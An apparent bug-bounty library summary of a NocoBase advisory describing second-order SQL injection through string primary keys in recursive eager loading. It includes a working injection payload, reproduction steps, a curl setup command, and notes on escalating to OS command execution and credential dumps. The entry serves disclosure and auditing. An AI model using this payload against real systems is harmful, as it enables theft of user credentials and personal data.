# @nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading

NocoBase concatenates primary-key values into a recursive CTE in queryParentSQL, letting a user with record-create rights inject SQL and exfiltrate the users table via error messages.

- Payout: Research
- Severity: high
- Program: NocoBase
- Found by: p80n-sec
- Disclosed: 2026-04-22
- CVE: CVE-2026-41640
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-4948-f92q-f432
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-4948-f92q-f432
- Tags: area:web domain:api domain:web impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:nodejs tech:rest technique:second-order technique:source-review vuln:sqli

**Target:** @nocobase/database eager-loading-tree queryParentSQL (PostgreSQL backend)
**Root cause:** queryParentSQL builds the recursive CTE's `IN ('...')` clause by joining nodeIds (primary key values read from DB rows) with string concatenation instead of bind parameters, so a stored malicious string PK is interpreted as SQL.
**Steps:**
1. Create a tree collection with string primary keys via `POST /api/collections:create` with `tree:"adjacencyList"` and belongsTo/hasMany parent/children fields.
2. Create a safe root record `{"id":"root"}`.
3. Create a record whose id is `root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1`.
4. Create a child record with `parentId` set to that malicious id.
5. Request `GET /api/vuln_tree:list?appends[]=parent(recursively=true)&pageSize=100`; the 500 error message contains the subquery result, e.g. `invalid input syntax for type integer: "admin@nocobase.com"`.
**How found:** Code review of the eager-loading tree implementation spotted nodeIds joined into the SQL string rather than parameterized, then traced that nodeIds come from DB rows (attacker-controllable string PKs) and crafted a payload keeping the CTE syntactically valid by adding a third UNION ALL branch.
**Exploitation:** Any user with record-creation permission on a tree collection with string PKs stores a crafted PK; a later recursive eager-load (`appends[]=parent(recursively=true)`) splices it into the CTE. The injected UNION ALL branch casts a subquery to integer, forcing a runtime error that leaks the value in the HTTP 500 response. Confirmed extraction of version(), current_database(), admin email and password hash, and aggregated credential dumps.
**Escalation:** On PostgreSQL with a superuser DB account, `COPY ... TO PROGRAM` yields OS command execution; stacked queries allow INSERT/UPDATE/DELETE depending on privileges. Same concatenation pattern also in plugin-field-sort/src/server/sort-field.ts:124.
**Insight:** Second-order injection via stored primary keys: when auditing ORMs, check whether identifier arrays used in `IN (...)` clauses are bound or concatenated, and whether those identifiers can be attacker-chosen strings (custom string PKs, slugs, external IDs) rather than auto-generated integers.

## Proof of concept (copied exactly from the original report)

**Injection ID payload string**

```
root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1
```

**Curl creating tree collection with string PKs**

```
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'
```

